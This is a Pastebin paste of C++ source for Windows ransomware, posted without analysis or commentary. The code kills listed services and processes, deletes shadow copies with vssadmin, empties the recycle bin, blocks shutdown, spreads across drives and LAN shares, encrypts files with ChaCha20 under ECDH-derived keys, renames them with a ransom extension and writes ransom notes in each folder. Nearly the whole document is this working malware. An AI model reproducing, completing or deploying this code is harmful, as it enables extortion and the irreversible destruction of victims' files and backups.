FlyFar

main.cpp

Mar 24th, 2024
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 19.27 KB | Cybersecurity | 0 0
  1. #include <windows.h>
  2. #include <shlwapi.h>
  3. #include <process.h>
  4. #include <tlhelp32.h>
  5. #include <winnetwk.h>
  6. #include <restartmanager.h>
  7.  
  8. #include "main.h"
  9. #include "config.h"
  10.  
  11. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  12. {
  13.     int LAN_MODE = 0;
  14.    
  15.     int argc = 0;
  16.     LPSTR *argv = CommandLineToArgvA(GetCommandLineA(), &argc);
  17.     if(argc < 1)
  18.     {
  19.         for(int i = 1; i < argc; ++i)
  20.         {
  21.             if(lstrcmpA(argv[1], "-lanfirst"))
  22.             {
  23.                 if(lstrcmpA(argv[1], "-lansecond"))
  24.                 {
  25.                     if(!lstrcmpA(argv[1], "-nolan"))
  26.                     {
  27.                         LAN_MODE = -1; // no lan encryption
  28.                     }
  29.                 }
  30.                 else
  31.                 {
  32.                     LAN_MODE = 0;
  33.                 }
  34.             }
  35.             else
  36.             {
  37.                 LAN_MODE = 1;
  38.             }
  39.         }
  40.     }
  41.    
  42. #ifdef DEBUG
  43.     switch(LAN_MODE)
  44.     {
  45.         case -1:
  46.         {
  47.             printf("[INF] -nolan specidifed! Not encrypting LAN!\r\n");
  48.             break;
  49.         }
  50.        
  51.         case 0:
  52.         {
  53.             printf("[INF] -lansecond specified! Encrypting LAN AFTER files!\r\n");
  54.             break;
  55.         }
  56.        
  57.         case 1:
  58.         {
  59.             printf("[INF] -lanfirst specified! Encrypting LAN FIRST and then files!\r\n");
  60.             break;
  61.         }
  62.     }
  63. #endif
  64.    
  65.     // Stop the machine from shutting down easily
  66.     SetProcessShutdownParameters(0, 0);
  67.    
  68.     InitializeCriticalSection(&critSection);
  69.    
  70.     // Clear shadow copies, stop services, and end processes
  71.     ServiceFucker();
  72.     ProcessFucker();
  73.     ShadowFucker();
  74.    
  75.     // Empty the recycle bin (fuck small chance of data recovery this way)
  76.     SHEmptyRecycleBinW(NULL, NULL, 7);
  77.    
  78.     // Grab system information
  79.     SYSTEM_INFO sysInfo;
  80.     GetSystemInfo(&sysInfo);
  81.    
  82.     DWORD processorCount = sysInfo.dwNumberOfProcessors * 2;
  83.     DWORD threadCount    = 0;
  84.    
  85.     HANDLE *hThreads = (HANDLE*)myHeapAlloc(sysInfo.dwNumberOfProcessors * 8);
  86.     if(hThreads != NULL)
  87.     {
  88.         // ECDH setup
  89.         ChaChaKey1Setup();
  90.         ECDHPrivateKeySetup(VICTIM_ECDH_PRIVATE_KEY, ECC_PRV_KEY_SIZE);
  91.         ecdh_generate_keys(VICTIM_ECDH_PUBLIC_KEY, VICTIM_ECDH_PRIVATE_KEY);
  92.         ecdh_shared_secret(VICTIM_ECDH_PRIVATE_KEY, MY_ECDH_PUB_KEY, ECDH_SHARED_SECRET);
  93.        
  94.         // Setup the ChaCha20 Keys
  95.         sha256(CHACHA20_FINAL_KEY_1, ECDH_SHARED_SECRET, ECC_PRV_KEY_SIZE);
  96.         sha256(CHACHA20_FINAL_KEY_2, ECDH_SHARED_SECRET, ECC_PUB_KEY_SIZE);
  97.        
  98.         // Setup the ChaCha20 Nonce
  99.         memcpy(CHACHA20_FINAL_NONCE, ECDH_SHARED_SECRET, sizeof(CHACHA20_FINAL_NONCE));
  100.        
  101.         WCHAR pubkeypath[MAX_PATH];
  102.         GetEnvironmentVariableW(L"APPDATA", pubkeypath, MAX_PATH);
  103.         lstrcatW(pubkeypath, L"\\ecdh_pub_k.bin");
  104.        
  105. #ifdef DEBUG
  106.         if(PathFileExistsW(pubkeypath))
  107.         {
  108.             DeleteFileW(pubkeypath);
  109.         }
  110. #endif
  111.        
  112.         DWORD wb = 0;
  113.         HANDLE hFile = CreateFileW(pubkeypath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
  114.         if(hFile != INVALID_HANDLE_VALUE)
  115.         {
  116.             WriteFile(hFile, VICTIM_ECDH_PUBLIC_KEY, ECC_PUB_KEY_SIZE, &wb, NULL);
  117.             CloseHandle(hFile);
  118.            
  119. #ifdef DEBUG
  120.             wprintf(L"[INF] Wrote pub key %ls\r\n", pubkeypath);
  121. #endif
  122.            
  123.             if(LAN_MODE == 1)
  124.             {
  125.                 SearchLAN(NULL);
  126.             }
  127.            
  128.             MountVolumes();
  129.            
  130.             DWORD drivemask = GetLogicalDrives();
  131.             if(drivemask)
  132.             {
  133.                 for(char i = 'A'; i <= 'Z'; ++i)
  134.                 {
  135.                     if((drivemask & 1) != 0)
  136.                     {
  137.                         if(threadCount >= processorCount)
  138.                         {
  139.                             WaitForMultipleObjects(threadCount, hThreads, TRUE, INFINITE);
  140.                             for(int j = 0; j < threadCount; ++j)
  141.                             {
  142.                                 CloseHandle(hThreads[j]);
  143.                             }
  144.                             threadCount = 0;
  145.                         }
  146.                        
  147.                         WCHAR *drivestring = (WCHAR*)myHeapAlloc(14);
  148.                         lstrcpyW(drivestring, L"\\\\?\\");
  149.                         lstrcpyW(drivestring + 5, L":");
  150.                         drivestring[4] = i;
  151.                        
  152.                         DWORD drivetype = GetDriveTypeW(drivestring);
  153.                         if(drivetype != DRIVE_UNKNOWN
  154.                         && drivetype != DRIVE_CDROM)
  155.                         {              
  156.                             if(drivetype != DRIVE_REMOTE)
  157.                             {  
  158. #ifdef DEBUG
  159.                                 wprintf(L"[INF] Threading %ls\r\n", drivestring);
  160. #endif
  161.                                 hThreads[threadCount++] = CreateThread(NULL, 0, SearchFilesThreaded, drivestring, 0, NULL);
  162.                             }
  163.                             else
  164.                             {
  165.                                 DWORD nLength = MAX_PATH;
  166.                                
  167.                                 WCHAR *remotename = (WCHAR*)myHeapAlloc(MAX_PATH * 2);
  168.                                 if(remotename != NULL
  169.                                 && !WNetGetConnectionW(drivestring + 4, remotename, &nLength))
  170.                                 {
  171. #ifdef DEBUG
  172.                                     wprintf(L"[INF] Threading Remote %ls\r\n", drivestring);
  173. #endif
  174.                                     hThreads[threadCount++] = CreateThread(NULL, 0, SearchFilesThreaded, remotename, 0, NULL);
  175.                                 }
  176.                             }
  177.                         }
  178.                         else
  179.                         {
  180.                             myHeapFree(drivestring);
  181.                         }
  182.                     }
  183.                     drivemask >>= 1;
  184.                 }
  185.             }
  186.            
  187.             if(LAN_MODE == 0)
  188.             {
  189.                 SearchLAN(NULL);
  190.             }
  191.            
  192.             WaitForMultipleObjects(threadCount, hThreads, TRUE, INFINITE);
  193.             for(int j = 0; j < threadCount; ++j)
  194.             {
  195.                 CloseHandle(hThreads[j]);
  196.             }
  197.         }
  198. #ifdef DEBUG
  199.         else
  200.         {
  201.             wprintf(L"[INF] Bad handle on key path! Bailing!\r\n");
  202.         }
  203. #endif
  204.         myHeapFree(hThreads);
  205.     }
  206.     ShadowFucker();
  207.     ExitProcess(0);
  208. }
  209.  
  210. //-- Core
  211.  
  212. //
  213. BOOLEAN ChaChaKey1Setup()
  214. {
  215.     HMODULE hModule = LoadLibraryA("advapi32.dll");
  216.     pdef_RtlGenRandom RtlGenRandom_ = (pdef_RtlGenRandom)GetProcAddress(hModule, "SystemFunction036");
  217.     return RtlGenRandom_(CHACHA20KEY_1, sizeof(CHACHA20KEY_1));
  218. }
  219.  
  220. //
  221. VOID ECDHPrivateKeySetup(BYTE *input, int incount)
  222. {
  223.     ChaCha20XOR(CHACHA20KEY_1, 20, CHACHA20NONCE_1, CHACHA20KEY_1, CHACHA20KEY_1, 44);
  224.     ChaCha20XOR(CHACHA20KEY_2, 20, CHACHA20NONCE_2, CHACHA20KEY_2, CHACHA20KEY_2, 44);
  225.    
  226.     for(int i = 0; i < incount; i++)
  227.     {
  228.         input[i] = CHACHA20KEY_1[i];
  229.     }
  230. }
  231.  
  232. //
  233. VOID MountVolumes()
  234. {
  235.     WCHAR VolumePathNames[MAX_PATH];
  236.    
  237.     const WCHAR *drives[] =
  238.     {
  239.         L"Q:\\",
  240.         L"W:\\",
  241.         L"E:\\",
  242.         L"R:\\",
  243.         L"T:\\",
  244.         L"Y:\\",
  245.         L"U:\\",
  246.         L"I:\\",
  247.         L"O:\\",
  248.         L"P:\\",
  249.         L"A:\\",
  250.         L"S:\\",
  251.         L"D:\\",
  252.         L"F:\\",
  253.         L"G:\\",
  254.         L"H:\\",
  255.         L"J:\\",
  256.         L"K:\\",
  257.         L"L:\\",
  258.         L"Z:\\",
  259.         L"X:\\",
  260.         L"C:\\",
  261.         L"V:\\",
  262.         L"B:\\",
  263.         L"N:\\",
  264.         L"M:\\"
  265.     };
  266.    
  267.     LPCWSTR lpszVolumeMountPoint[26];
  268.    
  269.     int j = 0;
  270.     for(int i = 0; i < ARRAY_SIZE(drives); ++i)
  271.     {
  272.         if(GetDriveTypeW(drives[i]) == DRIVE_NO_ROOT_DIR)
  273.         {
  274.             lpszVolumeMountPoint[j++] = drives[i];
  275.         }
  276.     }
  277.    
  278.     DWORD cchBufferLength = 120;
  279.     DWORD cchReturnLength = 0;
  280.    
  281.     WCHAR *volumename = (WCHAR*)myHeapAlloc(65536);
  282.     if(volumename != NULL)
  283.     {
  284.         LPVOID unused = (LPVOID)myHeapAlloc(65536);
  285.         if(unused != NULL)
  286.         {
  287.             HANDLE hFindVolume = FindFirstVolumeW(volumename, 32768);
  288.             do
  289.             {
  290.                 if(!j)
  291.                 {
  292.                     break;
  293.                 }
  294.                
  295.                 if(!GetVolumePathNamesForVolumeNameW(volumename, VolumePathNames, cchBufferLength, &cchReturnLength)
  296.                 ||  lstrlenW(VolumePathNames) != 3)
  297.                 {
  298.                     SetVolumeMountPointW(lpszVolumeMountPoint[--j], volumename);
  299.                 }
  300.             } while(FindNextVolumeW(hFindVolume, volumename, 32768));
  301.             FindVolumeClose(hFindVolume);
  302.             myHeapFree(unused);
  303.         }
  304.         myHeapFree(volumename);
  305.     }
  306. }
  307.  
  308. // Kills services
  309. VOID ServiceFucker()
  310. {
  311.     DWORD dwStartTime = GetTickCount();
  312.     DWORD dwTimeout   = 3000;
  313.    
  314.     LPENUM_SERVICE_STATUS lpServices = NULL;
  315.    
  316.     SC_HANDLE hSvcManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
  317.     if(hSvcManager != NULL)
  318.     {
  319.         for(int i = 0; i < ARRAY_SIZE(BLACKLISTED_SERVICES); ++i)
  320.         {
  321.             SC_HANDLE hService = OpenServiceA(hSvcManager, BLACKLISTED_SERVICES[i], 0x2C);
  322.             if(hService != NULL)
  323.             {
  324.                 DWORD nb;
  325.                 SERVICE_STATUS svcStatus;
  326.                
  327.                 if(QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&svcStatus, sizeof(SERVICE_STATUS), &nb)
  328.                 && svcStatus.dwCurrentState != SERVICE_STOPPED
  329.                 && svcStatus.dwCurrentState != SERVICE_STOP_PENDING)
  330.                 {
  331.                     DWORD dwCount, nb;
  332.                     if(!EnumDependentServicesA(hService, SERVICE_STOPPED, lpServices, 0, &nb, &dwCount)
  333.                     &&  GetLastError() == ERROR_MORE_DATA)
  334.                     {
  335.                         lpServices = (LPENUM_SERVICE_STATUSA)myHeapAlloc(nb);
  336.                         if(lpServices != NULL)
  337.                         {
  338.                             if(EnumDependentServicesA(hService, SERVICE_STOPPED, lpServices, nb, &nb, &dwCount))
  339.                             {
  340.                                 ENUM_SERVICE_STATUS ess;
  341.                                 ess = *(lpServices + i);
  342.                                
  343.                                 SC_HANDLE hService2 = OpenService(hService, ess.lpServiceName, SERVICE_STOP | SERVICE_QUERY_STATUS);
  344.                                 if(hService2 != NULL)
  345.                                 {
  346.                                     SERVICE_STATUS ServiceStatus;
  347.                                    
  348.                                     if(ControlService(hService2, SERVICE_STOPPED, &ServiceStatus))
  349.                                     {
  350.                                         while(ServiceStatus.dwCurrentState != SERVICE_STOPPED)
  351.                                         {
  352.                                             Sleep(ServiceStatus.dwWaitHint);
  353.                                            
  354.                                             if(QueryServiceStatusEx(hService2, SC_STATUS_PROCESS_INFO, (LPBYTE)&ServiceStatus, sizeof(ServiceStatus), &nb))
  355.                                             {
  356.                                                 if(ServiceStatus.dwCurrentState || GetTickCount() - dwStartTime > dwTimeout)
  357.                                                 {
  358.                                                     break;
  359.                                                 }
  360.                                             }
  361.                                         }
  362.                                         CloseServiceHandle(hService2);
  363.                                     }
  364.                                 }
  365.                             }
  366.                             myHeapFree(lpServices);
  367.                         }
  368.                     }
  369.                    
  370.                     if(ControlService(hService, SERVICE_STOPPED, &svcStatus))
  371.                     {
  372.                         while(svcStatus.dwCurrentState != SERVICE_STOPPED
  373.                         &&    GetTickCount() - dwStartTime <= dwTimeout)
  374.                         {
  375.                             if(svcStatus.dwCurrentState == SERVICE_STOPPED)
  376.                             {
  377.                                 break;
  378.                             }
  379.                            
  380.                             Sleep(svcStatus.dwWaitHint);
  381.                            
  382.                             if(!QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&svcStatus, sizeof(svcStatus), &nb))
  383.                             {
  384.                                 break;
  385.                             }
  386.                         }
  387.                     }
  388.                 }
  389.                 CloseServiceHandle(hService);
  390.             }
  391.         }
  392.         CloseServiceHandle(hSvcManager);
  393.     }
  394. }
  395.  
  396. // Enumerates through processes and kills them all
  397. VOID ProcessFucker()
  398. {
  399.     HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
  400.    
  401.     PROCESSENTRY32W pEntry;
  402.     pEntry.dwSize = sizeof(pEntry);
  403.    
  404.     for(BOOL i = Process32FirstW(hSnapShot, &pEntry); i == TRUE; i = Process32NextW(hSnapShot, &pEntry))
  405.     {
  406.         for(int j = 0; j < ARRAY_SIZE(BLACKLISTED_PROCESSES); ++j)
  407.         {
  408.             if(!lstrcmpW(BLACKLISTED_PROCESSES[j], pEntry.szExeFile))
  409.             {
  410.                 HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pEntry.th32ProcessID);
  411.                 if(hProcess != NULL)
  412.                 {
  413.                     TerminateProcess(hProcess, 9);
  414.                     CloseHandle(hProcess);
  415.                 }
  416.                 break;
  417.             }
  418.         }
  419.     }
  420.     CloseHandle(hSnapShot);
  421. }
  422.  
  423. // Deletes shadow copies
  424. VOID ShadowFucker()
  425. {
  426.     PVOID oldValue = NULL;
  427.     if(myIsWow64Process())
  428.     {
  429.         HMODULE hModule = LoadLibraryA("kernel32.dll");
  430.         pdef_Wow64DisableWow64FsRedirection Wow64DisableWow64FsRedirection_ = (pdef_Wow64DisableWow64FsRedirection)GetProcAddress(hModule, "Wow64DisableWow64FsRedirection");
  431.        
  432.         if(Wow64DisableWow64FsRedirection_ != NULL)
  433.         {
  434.             Wow64DisableWow64FsRedirection_(&oldValue);
  435.         }
  436.     }
  437.    
  438.     ShellExecuteW(NULL, L"open", L"cmd.exe", L"/c vssadmin.exe delete shadows /all /quiet", 0, SW_HIDE);
  439.    
  440.     // why double check this?
  441.     if(myIsWow64Process())
  442.     {
  443.         HMODULE hModule2 = LoadLibraryA("kernel32.dll");
  444.         pdef_Wow64RevertWow64FsRedirection Wow64RevertWow64FsRedirection_ = (pdef_Wow64RevertWow64FsRedirection)GetProcAddress(hModule2, "Wow64RevertWow64FsRedirection");
  445.         if(Wow64RevertWow64FsRedirection_ != NULL)
  446.         {
  447.             Wow64RevertWow64FsRedirection_(&oldValue);
  448.         }
  449.     }
  450. }
  451.  
  452. //
  453. VOID SearchLAN(LPNETRESOURCEW resourcename)
  454. {
  455.     LPNETRESOURCEW foundresource;
  456.    
  457.     DWORD memsize = sizeof(LPNETRESOURCEW);
  458.     DWORD rCount = -1;
  459.    
  460.     HANDLE hEnum;
  461.     if(!WNetOpenEnumW(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, RESOURCEUSAGE_ALL, resourcename, &hEnum))
  462.     {
  463.         foundresource = (LPNETRESOURCEW)myHeapAlloc(memsize);
  464.         if(foundresource != NULL)
  465.         {
  466.             while(!WNetEnumResourceW(hEnum, &rCount, foundresource, &memsize))
  467.             {
  468.                 for(int i = 0; i < rCount; ++i)
  469.                 {
  470.                     if((foundresource[i].dwUsage & 2) != 0)
  471.                     {
  472.                         SearchLAN(&foundresource[i]);
  473.                     }
  474.                     else
  475.                     {
  476.                         SearchFiles(foundresource[i].lpRemoteName, 0);
  477.                     }
  478.                 }
  479.             }
  480.             myHeapFree(foundresource);
  481.         }
  482.         WNetCloseEnum(hEnum);
  483.     }
  484. }
  485.  
  486. // Search files thread
  487. DWORD WINAPI SearchFilesThreaded(LPVOID lpParam)
  488. {
  489.     SearchFiles((WCHAR*)lpParam, 0);
  490.     myHeapFree(lpParam);
  491.     return 0;
  492. }
  493.  
  494. // Recursive folder enumeration
  495. VOID SearchFiles(WCHAR *pathname, int layer)
  496. {
  497.     WIN32_FIND_DATAW fd;
  498.    
  499.     WCHAR *pathsearch = (WCHAR*)myHeapAlloc(65536);
  500.     if(pathsearch != NULL)
  501.     {
  502.         lstrcpyW(pathsearch, pathname);
  503.         lstrcatW(pathsearch, L"\\*");
  504.        
  505.         HANDLE hFind = FindFirstFileW(pathsearch, &fd);
  506.         if(hFind != INVALID_HANDLE_VALUE)
  507.         {
  508.             BOOL isBlack = FALSE;
  509.             do
  510.             {
  511.                 for(int i = 0; i < ARRAY_SIZE(BLACKLISTED_FILENAMES); ++i)
  512.                 {
  513.                     if(!lstrcmpW(fd.cFileName, BLACKLISTED_FILENAMES[i]))
  514.                     {
  515. #ifdef DEBUG
  516.                         wprintf(L"[INF] Blacklisted file %ls\r\n", fd.cFileName);
  517. #endif
  518.                         isBlack = TRUE;
  519.                         break;
  520.                     }
  521.                 }
  522.                
  523.                 if(!isBlack)
  524.                 {
  525.                     lstrcpyW(pathsearch, pathname);
  526.                     lstrcatW(pathsearch, L"\\");
  527.                     lstrcatW(pathsearch, fd.cFileName);
  528.                    
  529.                     if(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
  530.                     {
  531.                         if(layer < 16)
  532.                         {
  533. #ifdef DEBUG
  534.                             wprintf(L"[INF] Walking %ls\r\n", pathsearch);
  535. #endif
  536.                             SearchFiles(pathsearch, layer + 1);
  537.                         }
  538.                     }
  539.                     else if(lstrcmpW(fd.cFileName, RANSOM_NAME))
  540.                     {
  541.                         for(int j = lstrlenW(fd.cFileName); j > 0; --j)
  542.                         {
  543.                             if(fd.cFileName[j] == '.')
  544.                             {
  545.                                 if(!lstrcmpW(&fd.cFileName[j], RANSOM_EXT))
  546.                                 {
  547. #ifdef DEBUG
  548.                                     wprintf(L"[INF] Skipping file %ls\r\n", fd.cFileName);
  549. #endif
  550.                                     isBlack = TRUE;
  551.                                     break;
  552.                                 }
  553.                             }
  554.                         }
  555.                        
  556.                         if(!isBlack)
  557.                         {
  558. #ifdef DEBUG
  559.                             wprintf(L"[INF] Encrypting file %ls\r\n", pathsearch);
  560. #endif
  561.                             CryptFile(pathsearch);
  562.                         }
  563.                     }
  564.                 }
  565.                 isBlack = FALSE;
  566.             } while(FindNextFileW(hFind, &fd));
  567.             FindClose(hFind);
  568.            
  569.             lstrcpyW(pathsearch, pathname);
  570.             lstrcatW(pathsearch, L"\\");
  571.             lstrcatW(pathsearch, RANSOM_NAME);
  572.            
  573.             HANDLE hFile = CreateFileW(pathsearch, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, 0, NULL);
  574.             if(hFile != INVALID_HANDLE_VALUE)
  575.             {
  576. #ifdef DEBUG
  577.                 wprintf(L"[INF] Writing note %ls\r\n", pathsearch);
  578. #endif
  579.                 DWORD wb;
  580.                 WriteFile(hFile, RANSOM_NOTE, lstrlenA(RANSOM_NOTE), &wb, NULL);
  581.                 CloseHandle(hFile);
  582.             }
  583.         }
  584.     }
  585.     myHeapFree(pathsearch);
  586. }
  587.  
  588.  
  589. // File encryption function
  590. VOID CryptFile(const WCHAR *filename)
  591. {
  592.     HANDLE hFile;
  593.    
  594.     WCHAR sessionKey[CCH_RM_SESSION_KEY + 1];
  595.     DWORD sessionHnd;
  596.     RM_PROCESS_INFO dwProcessId[10];
  597.    
  598.     DWORD rebootReasons;
  599.     BOOL bWhat = TRUE;
  600.    
  601.     SetFileAttributesW(filename, FILE_ATTRIBUTE_NORMAL);
  602.     while(TRUE)
  603.     {
  604.         hFile = CreateFileW(filename, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  605.         if(hFile != INVALID_HANDLE_VALUE)
  606.         {
  607.             break;
  608.         }
  609.        
  610.         if(!bWhat)
  611.         {
  612.             break;
  613.         }
  614.        
  615.         ZeroMemory(sessionKey, CCH_RM_SESSION_KEY + 1);
  616.        
  617.         if(RmStartSession(&sessionHnd, 0, sessionKey))
  618.         {
  619.             break;
  620.         }
  621.        
  622.         if(!RmRegisterResources(sessionHnd, 1, &filename, 0, NULL, 0, NULL))
  623.         {
  624.             UINT procInfoNeeded, procInfo = sizeof(dwProcessId);
  625.             if(!RmGetList(sessionHnd, &procInfoNeeded, &procInfo, dwProcessId, &rebootReasons))
  626.             {
  627.                 for(int i = 0; i < procInfo; ++i)
  628.                 {
  629.                     if(dwProcessId[i].ApplicationType != RmExplorer
  630.                     && dwProcessId[i].ApplicationType != RmCritical
  631.                     && GetCurrentProcessId() != dwProcessId[i].Process.dwProcessId)
  632.                     {
  633.                         HANDLE hProcess = OpenProcess(PROCESS_SET_QUOTA | PROCESS_TERMINATE, FALSE, dwProcessId[i].Process.dwProcessId);
  634.                         if(hProcess != INVALID_HANDLE_VALUE)
  635.                         {
  636.                             TerminateProcess(hProcess, 0);
  637.                             WaitForSingleObject(hProcess, 5000);
  638.                             CloseHandle(hProcess);
  639.                         }
  640.                     }
  641.                 }
  642.             }
  643.         }
  644.         RmEndSession(sessionHnd);
  645.         bWhat = FALSE;
  646.     }
  647.    
  648.     LARGE_INTEGER FileSize;
  649.     GetFileSizeEx(hFile, &FileSize);
  650.    
  651.     HANDLE hMAP = CreateFileMappingA(hFile, NULL, PAGE_READWRITE, 0, 0, NULL);
  652.     if(hMAP != NULL)
  653.     {
  654.         if(FileSize.QuadPart <= 41943040)
  655.         {
  656.             if(FileSize.QuadPart > 0)
  657.             {
  658.                 LPBYTE hView = (LPBYTE)MapViewOfFile(hMAP, FILE_MAP_ALL_ACCESS, 0, 0, FileSize.LowPart);
  659.                 if(hView != NULL)
  660.                 {
  661.                     ChaCha20XOR(CHACHA20_FINAL_KEY_1, 20, CHACHA20_FINAL_NONCE, hView, hView, FileSize.LowPart);
  662.                     ChaCha20XOR(CHACHA20_FINAL_KEY_2, 20, CHACHA20_FINAL_NONCE, hView, hView, FileSize.LowPart);
  663.                     UnmapViewOfFile(hView);
  664.                 }
  665.             }
  666.         }
  667.         else
  668.         {
  669.             DWORD blocks = FileSize.QuadPart / 10485760 / 3;
  670.             for(int i = 0; i < 3; ++i)
  671.             {
  672.                 DWORD offsetHigh = blocks * i;
  673.                 DWORD offsetLow  = offsetHigh * 10485760;
  674.                
  675.                 LPBYTE hView = (LPBYTE)MapViewOfFile(hMAP, FILE_MAP_ALL_ACCESS, offsetHigh, offsetLow, 10485760);
  676.                 if(hView != NULL)
  677.                 {
  678.                     ChaCha20XOR(CHACHA20_FINAL_KEY_1, 20, CHACHA20_FINAL_NONCE, hView, hView, 10485760);
  679.                     ChaCha20XOR(CHACHA20_FINAL_KEY_2, 20, CHACHA20_FINAL_NONCE, hView, hView, 10485760);
  680.                     UnmapViewOfFile(hView);
  681.                 }
  682.             }
  683.         }
  684.         CloseHandle(hMAP);
  685.     }
  686.     FlushFileBuffers(hFile);
  687.     CloseHandle(hFile);
  688.    
  689.     WCHAR *newPath = (WCHAR*)myHeapAlloc(65536);
  690.     if(newPath != NULL)
  691.     {
  692.         lstrcpyW(newPath, filename);
  693.         lstrcatW(newPath, RANSOM_EXT);
  694.         MoveFileExW(filename, newPath, 9);
  695.         myHeapFree(newPath);
  696.     }
  697. }
  698.  
  699. //-- Utils
  700.  
  701. // Checks if the process is running on a 64 bit machine
  702. BOOL myIsWow64Process()
  703. {
  704.     BOOL bIsWow = 0;
  705.    
  706.     HMODULE hModule = GetModuleHandleA("kernel32.dll");
  707.     pdef_IsWow64Process IsWow64Process_ = (pdef_IsWow64Process)GetProcAddress(hModule, "IsWow64Process");
  708.     if(IsWow64Process_ != NULL)
  709.     {
  710.         if(!IsWow64Process_(GetCurrentProcess(), &bIsWow))
  711.         {
  712.             bIsWow = FALSE;
  713.         }
  714.     }
  715.     return bIsWow;
  716. }
  717.  
  718. // Paser for GetCommandLineA()
  719. PCHAR *CommandLineToArgvA(PCHAR CmdLine, int *_argc)
  720. {
  721.     PCHAR *argv;
  722.     PCHAR _argv;
  723.     ULONG len;
  724.     ULONG argc;
  725.     CHAR a;
  726.     ULONG i, j;
  727.  
  728.     BOOLEAN in_QM;
  729.     BOOLEAN in_TEXT;
  730.     BOOLEAN in_SPACE;
  731.  
  732.     len = strlen(CmdLine);
  733.     i   = ((len + 2) / 2) * sizeof(PVOID) + sizeof(PVOID);
  734.  
  735.     argv  = (PCHAR *)LocalAlloc(LMEM_FIXED, i + (len + 2) * sizeof(CHAR));
  736.  
  737.     _argv = (PCHAR)(((PUCHAR)argv) + i);
  738.  
  739.     argc  = 0;
  740.     argv[argc] = _argv;
  741.     in_QM = FALSE;
  742.     in_TEXT  = FALSE;
  743.     in_SPACE = TRUE;
  744.     i = 0;
  745.     j = 0;
  746.  
  747.     while(a = CmdLine[i])
  748.     {
  749.         if(in_QM)
  750.         {
  751.             if (a == '\"')
  752.             {
  753.                 in_QM = FALSE;
  754.             }
  755.             else
  756.             {
  757.                 _argv[j] = a;
  758.                 j++;
  759.             }
  760.         }
  761.         else
  762.         {
  763.             switch(a)
  764.             {
  765.                 case '\"':
  766.                 {
  767.                     in_QM   = TRUE;
  768.                     in_TEXT = TRUE;
  769.                    
  770.                     if(in_SPACE)
  771.                     {
  772.                         argv[argc] = _argv + j;
  773.                         argc++;
  774.                     }
  775.                    
  776.                     in_SPACE = FALSE;
  777.                     break;
  778.                 }
  779.                
  780.                 case ' ':
  781.                 case '\t':
  782.                 case '\n':
  783.                 case '\r':
  784.                 {
  785.                     if(in_TEXT)
  786.                     {
  787.                         _argv[j] = '\0';
  788.                         j++;
  789.                     }
  790.                    
  791.                     in_TEXT  = FALSE;
  792.                     in_SPACE = TRUE;
  793.                     break;
  794.                 }
  795.                
  796.                 default:
  797.                 {
  798.                     in_TEXT  = TRUE;
  799.                     if(in_SPACE)
  800.                     {
  801.                         argv[argc] = _argv + j;
  802.                         argc++;
  803.                     }
  804.                     _argv[j] = a;
  805.                    
  806.                     j++;
  807.                    
  808.                     in_SPACE = FALSE;
  809.                     break;
  810.                 }
  811.             }
  812.         }
  813.         i++;
  814.     }
  815.     _argv[j] = '\0';
  816.     argv[argc] = NULL;
  817.    
  818.    
  819.     (*_argc) = argc;
  820.     return argv;
  821. }
  822.  
  823. // HeapAlloc wrapepr
  824. LPVOID myHeapAlloc(int len)
  825. {
  826.     EnterCriticalSection(&critSection);
  827.     LPVOID lpMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, len + 64);
  828.     LeaveCriticalSection(&critSection);
  829.     return lpMem;
  830. }
  831.  
  832. // HeapFree wrapper
  833. VOID myHeapFree(LPVOID mem)
  834. {
  835.     EnterCriticalSection(&critSection);
  836.     HeapFree(GetProcessHeap(), 0, mem);
  837.     LeaveCriticalSection(&critSection);
  838. }
Add Comment
Please, Sign In to add comment